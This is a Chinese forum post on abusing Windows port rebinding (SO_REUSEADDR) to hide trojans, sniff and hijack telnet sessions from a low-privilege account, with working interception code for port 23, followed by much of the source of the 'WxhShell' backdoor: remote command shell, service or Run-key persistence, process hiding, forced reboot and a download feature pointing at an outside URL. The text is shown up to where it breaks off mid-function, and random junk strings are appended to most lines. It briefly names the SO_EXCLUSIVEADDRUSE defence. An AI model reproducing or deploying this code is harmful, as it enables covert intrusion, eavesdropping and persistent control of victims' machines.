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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N7 FndB5%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^kO+NH40  
G=ly .  
  saddr.sin_family = AF_INET; =G,wR'M  
k:QeZn(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <9bfX 91  
pRys 5/&v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LpYG!Kl  
{TL.2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?XIB\7}  
Ht9QINo  
  这意味着什么?意味着可以进行如下的攻击: u _mtdB'  
bpx ^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Db`SNk=  
8=  kwc   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?l9j]  
-Is;cbfLj/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !y\r.fm!A  
L}a-c(G+8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &pzf*|}  
[. Db56  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'w z6Zt  
1 ]A$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !*1 $j7`tP  
v8} vk]b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .sCj3sX*  
VtN1 [}  
  #include \'Q rJ ?D  
  #include CBr(a'3{Z  
  #include 3%[;nhbA7  
  #include    xt&4]M V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H[_i=X3-~  
  int main()  mPL0s  
  { T!7B0_  
  WORD wVersionRequested; )! eJW(  
  DWORD ret; ;l %$-/%  
  WSADATA wsaData; ?Gl]O3@3  
  BOOL val; ~NMx:PP  
  SOCKADDR_IN saddr; )GYnQoV4  
  SOCKADDR_IN scaddr; @tvz9N  
  int err; " vka7r  
  SOCKET s; XkPE%m_5D  
  SOCKET sc; D"V(A\sZ  
  int caddsize; 7tbY>U8  
  HANDLE mt; vc0LV'lmg  
  DWORD tid;   `y|_hb  
  wVersionRequested = MAKEWORD( 2, 2 ); Uv m:`e~?  
  err = WSAStartup( wVersionRequested, &wsaData ); ZXIw^!8@/  
  if ( err != 0 ) { _70Z1_ ;  
  printf("error!WSAStartup failed!\n"); @V&c=8) 8  
  return -1; g\% Z+Dc  
  } ~].?8C.>*  
  saddr.sin_family = AF_INET; Z%Fc -KVt  
   5%%e$o+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4`B3Kt`o  
;_=N YG.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PU,%Y_xR  
  saddr.sin_port = htons(23); `/O AgV"`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a$j ~YUG_  
  { )qRH?Hsb7  
  printf("error!socket failed!\n"); "Ccyj/  
  return -1; 16ZyLt  
  } `Gj(>z*  
  val = TRUE; f{.4# C'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -VeC X]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B<Q)z5KK  
  { Q5^ #:uZ  
  printf("error!setsockopt failed!\n"); ^TtL-|I  
  return -1; 3vs{*T"  
  } P)l_ :;&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f"*k>=ETI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =C2KHNc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iF9d?9TWl  
o! l Ykud  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )n]" ~I^  
  { :r>^^tGT!  
  ret=GetLastError(); pM^ZC  
  printf("error!bind failed!\n"); : r(dMU3%  
  return -1; <5? pa3  
  } wFX9F3m  
  listen(s,2); Gl@{y (  
  while(1) UE{$hLI?g  
  { /w1M%10   
  caddsize = sizeof(scaddr); E.Q]X]q  
  //接受连接请求 |AH>EXhv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ! ,bQ;p3g|  
  if(sc!=INVALID_SOCKET) \BuyJskE  
  { ^)wKS]BQ..  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zak|* _  
  if(mt==NULL) a'-u(Bw  
  { d:k n%L6k_  
  printf("Thread Creat Failed!\n"); Wqkzj^;"G  
  break; lYTQg~aPm  
  } X$;&Mdo.  
  } |his8\C+x  
  CloseHandle(mt); 8qqN0"{,  
  } ,3!$mQL=  
  closesocket(s); *E*oWb]H  
  WSACleanup(); D<m0G]Ht*  
  return 0; c"v75lW-J  
  }   mU]VFPr5  
  DWORD WINAPI ClientThread(LPVOID lpParam) [ /YuI@C,@  
  { \ )=WA!  
  SOCKET ss = (SOCKET)lpParam; wk ^7/B  
  SOCKET sc; {fnx=BaG  
  unsigned char buf[4096]; W|D kq  
  SOCKADDR_IN saddr; m`l9d4p w?  
  long num; FJDE48Vi  
  DWORD val; <sw@P":F  
  DWORD ret; z)S6f79`Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )q[P&f(h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {9yf0n  
  saddr.sin_family = AF_INET; BY.k.]/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V ^+p:nP  
  saddr.sin_port = htons(23); J*[@M*R;&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qa-FLUkIk!  
  { r=&,2meo  
  printf("error!socket failed!\n"); 4 s ax  
  return -1; 'w27Lt'V  
  } ni&|;"Nt-  
  val = 100; uN:KivVe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HeO:=OE~>  
  {  kDE-GX"Y  
  ret = GetLastError(); kzjuW  
  return -1; ujRXAN@mC  
  } +4.s4&f)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :{#O   
  { odSPl{.>d  
  ret = GetLastError(); 8f/KNh7#s  
  return -1; z 7ik/>d?  
  } : oXSh;\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4/Y?eUQ  
  { +?Ii=*7n  
  printf("error!socket connect failed!\n"); |82q|@e  
  closesocket(sc); 1!KROes4  
  closesocket(ss); N^dQX,j  
  return -1; | L8 [+_m  
  } V2ih/mh   
  while(1) Xva(R<W7d<  
  { bAPMD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G;3%k.{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7-``J#9=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VD$5 Djq  
  num = recv(ss,buf,4096,0); 1>OlBp  
  if(num>0) _Xt/U>N  
  send(sc,buf,num,0); g#=<;X2  
  else if(num==0) cry1gnWG  
  break; 9F>`M  
  num = recv(sc,buf,4096,0); -;7xUNQ  
  if(num>0) "_q~S$i^  
  send(ss,buf,num,0);  SvT0%2  
  else if(num==0) 1o`1W4Q  
  break; Qds<j{2  
  } rXi&8R[  
  closesocket(ss); "esuLQC  
  closesocket(sc); J5G<Y*q  
  return 0 ; '9zW#b  
  } n@8Y6+7i  
0&UG=q  
b^VRpv  
========================================================== E{<#h9=>  
[,;e ,ld  
下边附上一个代码,,WXhSHELL q< XFw-Pv  
\ZZ6r^99  
========================================================== 5c` ;~  
AH#mL  
#include "stdafx.h" %):_  
Jy)=TJ!y  
#include <stdio.h> Y(g_h:lf,]  
#include <string.h> CefFUqo4  
#include <windows.h> TQ]gvi |m  
#include <winsock2.h> +@QrGY  
#include <winsvc.h> gx.\H3y  
#include <urlmon.h> In1W/ ?  
;OlnIxH(W  
#pragma comment (lib, "Ws2_32.lib") 1'qXT{f/~  
#pragma comment (lib, "urlmon.lib") ~.: { Ik]  
:C*}Yg  
#define MAX_USER   100 // 最大客户端连接数 ]E-/}Ysz  
#define BUF_SOCK   200 // sock buffer ^OKm (  
#define KEY_BUFF   255 // 输入 buffer R iLl\S#  
N1Vj;-  
#define REBOOT     0   // 重启 A0<g8pv  
#define SHUTDOWN   1   // 关机 $@L;j  
k|/VNV( =0  
#define DEF_PORT   5000 // 监听端口 /oT~CB..  
ZAr6RRv ^  
#define REG_LEN     16   // 注册表键长度 H~Uf2A)C  
#define SVC_LEN     80   // NT服务名长度 Sb[>R(0:  
k24I1DlR8  
// 从dll定义API \J+a7N8m,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !|Q&4NS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,{PN6B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f'oTN!5WF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g{V(WyT@  
?>;aD  
// wxhshell配置信息 G}8tFo. d1  
struct WSCFG { 4 neZw'm  
  int ws_port;         // 监听端口 C}h(WOcr`X  
  char ws_passstr[REG_LEN]; // 口令 ` IVQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no z}[ u~P,  
  char ws_regname[REG_LEN]; // 注册表键名 <  o?ua}  
  char ws_svcname[REG_LEN]; // 服务名 juR>4SH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uppa`addK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HPt3WBRzS;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z\m$>C|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U4"^NLAq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |8'}mjs.Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L<!h3n  
b-_l&;NWg  
}; AwZ@)0Wy  
$mPR)T  
// default Wxhshell configuration uOv<*Jld*  
struct WSCFG wscfg={DEF_PORT, KR ( apO  
    "xuhuanlingzhe", PEI$1,z  
    1, =Fz mifTc  
    "Wxhshell", @@D/&}#F  
    "Wxhshell", 9 Zos;  
            "WxhShell Service", j\>&]0-Iq  
    "Wrsky Windows CmdShell Service", ".>#Qp%  
    "Please Input Your Password: ", BQ6$T&  
  1, p6- //0qb  
  "http://www.wrsky.com/wxhshell.exe", gX{j$]^6G8  
  "Wxhshell.exe" Q#%LIkeq  
    }; SSI> +A  
b$'%)\('g  
// 消息定义模块 5;XC!Gz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E!Q@AZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BbX$R`f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -9om,U`t  
char *msg_ws_ext="\n\rExit."; Tv|'6P  
char *msg_ws_end="\n\rQuit."; }ekNZNcuM  
char *msg_ws_boot="\n\rReboot..."; JPDxzp  
char *msg_ws_poff="\n\rShutdown..."; lf( +]k30  
char *msg_ws_down="\n\rSave to "; wrkw,H  
P'Y(f!%  
char *msg_ws_err="\n\rErr!"; u0wu\  
char *msg_ws_ok="\n\rOK!"; j EbmW*   
$*{,Z<|2  
char ExeFile[MAX_PATH]; <sC(a7i1  
int nUser = 0; fQ9af)d  
HANDLE handles[MAX_USER]; )zWu\ JRp  
int OsIsNt; (Mfqzy  
TIp\-  
SERVICE_STATUS       serviceStatus; t%mi#Gh(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MEI&]qI  
RhJ3>DL  
// 函数声明 &3iI\s[  
int Install(void); W>' DQB  
int Uninstall(void); XI Mh<  
int DownloadFile(char *sURL, SOCKET wsh); 570ja7C:  
int Boot(int flag); 1Lf -  
void HideProc(void); iX?j"=!  
int GetOsVer(void); .Yk}iHcW.  
int Wxhshell(SOCKET wsl); 4M"'B A<  
void TalkWithClient(void *cs); Ue9d0#9  
int CmdShell(SOCKET sock); |}77'w :  
int StartFromService(void); '@24<T]  
int StartWxhshell(LPSTR lpCmdLine); k x:+mF  
8;qOsV)UDT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Oyb9 ql^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NkUY_rKPb  
F42^Uoaz  
// 数据结构和表定义 ;R+Gf!1  
SERVICE_TABLE_ENTRY DispatchTable[] = s1OSuSL>  
{ ~Xx}:@Ld  
{wscfg.ws_svcname, NTServiceMain}, P=}l.R*1G  
{NULL, NULL} i{}m 8K)  
}; 3x(Y+ ymP  
bSTori5  
// 自我安装 9uxoMjR-  
int Install(void) 6U).vg<  
{ MZ)lNU l  
  char svExeFile[MAX_PATH]; R UCUEo63  
  HKEY key; =?CIC%6m  
  strcpy(svExeFile,ExeFile); .P8m%$'N  
k'X"jon  
// 如果是win9x系统,修改注册表设为自启动 xRZ K&vkKE  
if(!OsIsNt) { "X<V>q$0~c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p+Yy"wH:h{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9F3aT'3#!  
  RegCloseKey(key); #F/W_G7v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FpB3SJ6 B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); klmbbLce  
  RegCloseKey(key); Cno[:iom  
  return 0; y@}WxSK*0  
    } 9|jMN j]vo  
  } l/?bXNt  
} Zc";R!At  
else { * r4FOA%P  
>]B_+r0m^  
// 如果是NT以上系统,安装为系统服务  2X`t&zg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7yG%E  
if (schSCManager!=0) rXSw@pqZ&  
{ hB 'rkjt  
  SC_HANDLE schService = CreateService k'v+/6 Y  
  ( mb'{@  
  schSCManager, jz3f{~   
  wscfg.ws_svcname, 3 JlM{N6+  
  wscfg.ws_svcdisp, pl}W|kW}  
  SERVICE_ALL_ACCESS, Cf 202pF3y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0}Kyj"-3  
  SERVICE_AUTO_START, Nt tu)wr  
  SERVICE_ERROR_NORMAL, shLMj)7!  
  svExeFile, )"Ujx`]4r  
  NULL, f !7fz~&Sh  
  NULL, ,jnaa(n  
  NULL, V%*91t_  
  NULL, r{* Qsaw  
  NULL bz1`f>%l  
  ); 'Q* .[aJt  
  if (schService!=0) lNe5{'OrO  
  { "Z';nmv'N  
  CloseServiceHandle(schService); f. h3:_r  
  CloseServiceHandle(schSCManager); $U&p&pgH=W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .' v$PEy  
  strcat(svExeFile,wscfg.ws_svcname); Gp_flGdGQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0#5&*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZXj*Vu$_4  
  RegCloseKey(key); -f'&JwE0=  
  return 0; [:izej(\  
    } v)vogtAQa  
  } (\'lV8}U  
  CloseServiceHandle(schSCManager); E.B6u, Te  
} A'uubFRL2[  
} 75h]# k9\  
 ?nJv f  
return 1; TPj,4&|  
} 8XCT[X  
ZP:+'\&J  
// 自我卸载 uxX 3wY;M  
int Uninstall(void) ^]/V-!j  
{ '8 ^cl:X  
  HKEY key; iYW<qgz  
`/G9*tIR8g  
if(!OsIsNt) { -lfbn =3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {rF9[S"h  
  RegDeleteValue(key,wscfg.ws_regname); }_}LaEYAo  
  RegCloseKey(key); c ? Zi/7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >2'A~?%  
  RegDeleteValue(key,wscfg.ws_regname); A/Sj>Y1j  
  RegCloseKey(key); &[ |Z2}  
  return 0; 16ip:/5  
  } {\h:k\k  
} &`'@}o>2  
} ?wIw$p>wT  
else { bvl!^xO]  
:VR% I;g;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f]Zj"Tt-  
if (schSCManager!=0) %xX b5aY  
{ 2`V0k.$?p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HbCcROl(  
  if (schService!=0) $7O3+R/=  
  { ~A(^<  
  if(DeleteService(schService)!=0) { p CeCR  
  CloseServiceHandle(schService); #]*d8  
  CloseServiceHandle(schSCManager); X4k|k>  
  return 0; 'O 7>w%#  
  } i_y%HG  
  CloseServiceHandle(schService); n&Q0V.  
  } DRVvC~M-,  
  CloseServiceHandle(schSCManager); +}g6X6m  
} /mn'9=ks  
} (V}?y:)  
)ItW}1[I  
return 1; nx!+: P ,  
} T#}"?A|  
GG4FS  
// 从指定url下载文件 Jg&f.  
int DownloadFile(char *sURL, SOCKET wsh) U*BI/wZ  
{ $GD Q1&Z  
  HRESULT hr; /RF&@NJE5  
char seps[]= "/"; F:Yp1Wrb<  
char *token; k]c$SzJ>/  
char *file; Gg^gK*D  
char myURL[MAX_PATH]; pe!"!xJE  
char myFILE[MAX_PATH]; R$2\Xl@qQF  
US<l4  
strcpy(myURL,sURL); r+a0.  
  token=strtok(myURL,seps); @><8YN^)%  
  while(token!=NULL) 7Xh ;dJAF3  
  { 0c&DSL}6  
    file=token; Gl4f:`  
  token=strtok(NULL,seps); ~kI$8oAry  
  } K;R!>p}t  
YCG $GD  
GetCurrentDirectory(MAX_PATH,myFILE); cU "uKR  
strcat(myFILE, "\\"); wk2Ff*&  
strcat(myFILE, file); %y+v0.aWH+  
  send(wsh,myFILE,strlen(myFILE),0); bc6|]kB:  
send(wsh,"...",3,0); &'m&'wDt:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \XbCJJP  
  if(hr==S_OK) }?6gj%$c  
return 0; m-9ChF: U  
else m>DJ w7<  
return 1; 0J .]`kR  
|-]'~ @~  
} !3ji]q;uF  
c`UizZ  
// 系统电源模块 =_$Hn>vO  
int Boot(int flag) 4@jX{{^6%  
{ Upc_"mkI.  
  HANDLE hToken; DNRWE1P2bg  
  TOKEN_PRIVILEGES tkp; o}L\b,])  
Vo(bro4ZQi  
  if(OsIsNt) { 5QG?*Z~?7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i&L!?6 5-f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =pb ru=/  
    tkp.PrivilegeCount = 1; Nfd'|#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nYTPcT4x|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3g3Znb  
if(flag==REBOOT) { }n k [WW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !dwa. lZ&X  
  return 0; WFfn:WSWU  
} :!wt/Y  
else { <SSkCw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r_Pi)MPc  
  return 0; C!|Yz=e  
} fjqd16{Q  
  } O]?PC^GGY  
  else { !)EYM&:Y  
if(flag==REBOOT) { % 3<7HY]~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 15kkf~Z<t  
  return 0; D0X!j,Kc  
} +o K*5 Y  
else { #?DoP]1Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ( $,qxPOn  
  return 0; %vRCs]  
} 9bUFxSH  
} +6(\7?  
4mm>6w8NT  
return 1; ufocj1IU  
} 4V'HPD>=V  
be HEAQ  
// win9x进程隐藏模块 d_Z?i#r0l  
void HideProc(void) &[5pR60  
{ O&@CT])8  
,3Aiz|v-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sc y_  
  if ( hKernel != NULL ) CWSc#E  
  { UYhxgPGsj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1P G"IaOb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SL`nt  
    FreeLibrary(hKernel); 2CV?cm  
  } yg82a7D  
4i+H(d n  
return; jaQH1^~l/-  
} 1;~| [C  
9D7i>e%,;-  
// 获取操作系统版本 !9_'_8  
int GetOsVer(void) yKC1h`2  
{ 9`7>" [=P  
  OSVERSIONINFO winfo; di37   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1YtK+,mz  
  GetVersionEx(&winfo); FQ u c}A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *eMMfxFl  
  return 1; C40o_1g  
  else c6VyF=2q  
  return 0; BCh|^Pk  
} ">vi=Tr  
# GzowI'  
// 客户端句柄模块 OU<v9`<  
int Wxhshell(SOCKET wsl) dQy K4T  
{ aAgQ^LY  
  SOCKET wsh; H4<Q}([w  
  struct sockaddr_in client; V+t's*9o3  
  DWORD myID; l\ Vr D2j8  
$t0JfDd6Ky  
  while(nUser<MAX_USER) _7'5IA  
{  upGLZ#  
  int nSize=sizeof(client); _IWLC{%V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LHSbc!Y'.  
  if(wsh==INVALID_SOCKET) return 1; JB'XH~4H  
@I#uv|=N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P+DIo7VTX  
if(handles[nUser]==0) dj{~!}  
  closesocket(wsh); 0!M'z  
else >+):eB L  
  nUser++; rl]K :8*  
  } Y} 6@ w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zr[B*1,ZV  
`Ay:;I  
  return 0; -\2hSIXj  
} e(Rbq8D  
%a!gN  
// 关闭 socket %Rk DR  
void CloseIt(SOCKET wsh) :TkMS8  
{ e9>~mtx  
closesocket(wsh); `UT UrM  
nUser--; e0hY   
ExitThread(0); w1 eFm:'  
} n/S+0uT  
8#/y`ul  
// 客户端请求句柄 G=|~SYz  
void TalkWithClient(void *cs) oXU b_/  
{ L+}<gQJ(  
LL==2KNUo  
  SOCKET wsh=(SOCKET)cs; /*MioaQB}p  
  char pwd[SVC_LEN]; 5GGO:  
  char cmd[KEY_BUFF]; 1x%B`d  
char chr[1]; t(jE9t|2e6  
int i,j; w"C,oo3  
M{4XNE]m  
  while (nUser < MAX_USER) { l z-I[*bA  
}Eh &'  
if(wscfg.ws_passstr) { O&,8X-Ix  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JfmYr47Pv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W2'!Pc,W  
  //ZeroMemory(pwd,KEY_BUFF); Fm*npK  
      i=0; l]OzE-*$b  
  while(i<SVC_LEN) { c=X+uO-  
mhB2l/  
  // 设置超时 ij;P5OA  
  fd_set FdRead; 8|zOgn{  
  struct timeval TimeOut; c3r`T{Kf  
  FD_ZERO(&FdRead); ;a| ~YM2I  
  FD_SET(wsh,&FdRead); ck\W'Y*Q7  
  TimeOut.tv_sec=8; iu3L9UfL[  
  TimeOut.tv_usec=0;  {8h[Bd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GP^.h kVs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'b y+hXk  
A0:rn\$l3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W#=,FZT  
  pwd=chr[0]; W1EYVXN  
  if(chr[0]==0xd || chr[0]==0xa) { N1B$z3E *  
  pwd=0; MdmN7>  
  break; !#=3>\np+X  
  } P^tTg  
  i++; (|NCxey  
    } lqKj;'  
!-%XrU8o3  
  // 如果是非法用户,关闭 socket " m13HS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); keFH CC  
} 2t PfIg  
)]s<Czm%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 52zE -SY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i1!1'T8  
A+3SLB  
while(1) { /(.:l +[w[  
iaLZ|\`3a  
  ZeroMemory(cmd,KEY_BUFF); !?=U{^|7y  
O1bW, n(  
      // 自动支持客户端 telnet标准   ;lvcg)}l  
  j=0; T6QRr}8`/J  
  while(j<KEY_BUFF) {  uxB`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MX8|;t  
  cmd[j]=chr[0]; 5OzEY7K)  
  if(chr[0]==0xa || chr[0]==0xd) { !&9(D^  
  cmd[j]=0; `G_~zt/  
  break; :mW< E  
  } {_/o' 6  
  j++; /;Hr{f jl{  
    } _TGs .t  
*3r s+0  
  // 下载文件 >0W P:-\*  
  if(strstr(cmd,"http://")) { ts9wSx~[+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a[ayr$Hk?  
  if(DownloadFile(cmd,wsh)) ^ nI2<P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GEA1y^b6"  
  else g,rmGu3v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _DH^ K 9,9  
  } gWzslgO6  
  else { RB4 +"QUh  
_+'!l'`  
    switch(cmd[0]) { 8-Y*b89  
  L!lmy&1  
  // 帮助 P_w4 DU  
  case '?': { ".N+nM~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ]%FAJ\  
    break; a4*976~![  
  } p6R+t]oH  
  // 安装 mO;QT  
  case 'i': { I<ohh`.  
    if(Install()) 6-fv<Pn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R$8{f:Pj  
    else yDwh]t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WFh.oe8  
    break; (D) KU9B>  
    } oJ\g0|\qwe  
  // 卸载 &29jg_'W  
  case 'r': { | @$I<  
    if(Uninstall()) ao"2kqa)r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Eu(C]nC(  
    else PXkpttIE]M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Wr_*>xj  
    break; !Yv_V]u=  
    } tP7<WGHd/  
  // 显示 wxhshell 所在路径 t15{>>f4>  
  case 'p': { 0B7G:X0  
    char svExeFile[MAX_PATH];  d]`6N  
    strcpy(svExeFile,"\n\r"); .JXEw%I@  
      strcat(svExeFile,ExeFile); hHU=lnO  
        send(wsh,svExeFile,strlen(svExeFile),0); ^2nrA pF  
    break; %,_ZVgh0  
    } Xt<1b  
  // 重启 lz~^*\ F  
  case 'b': { %DYh<U4N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C| ~ A]wc=  
    if(Boot(REBOOT)) 2cH RiRT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gTXpaB<  
    else { A5TSbW']+5  
    closesocket(wsh); abQ.N  
    ExitThread(0); {tUe(  
    } TZ5TkE;1  
    break; $R/@8qnP W  
    } _&BK4?H@b  
  // 关机 =g9n =spAn  
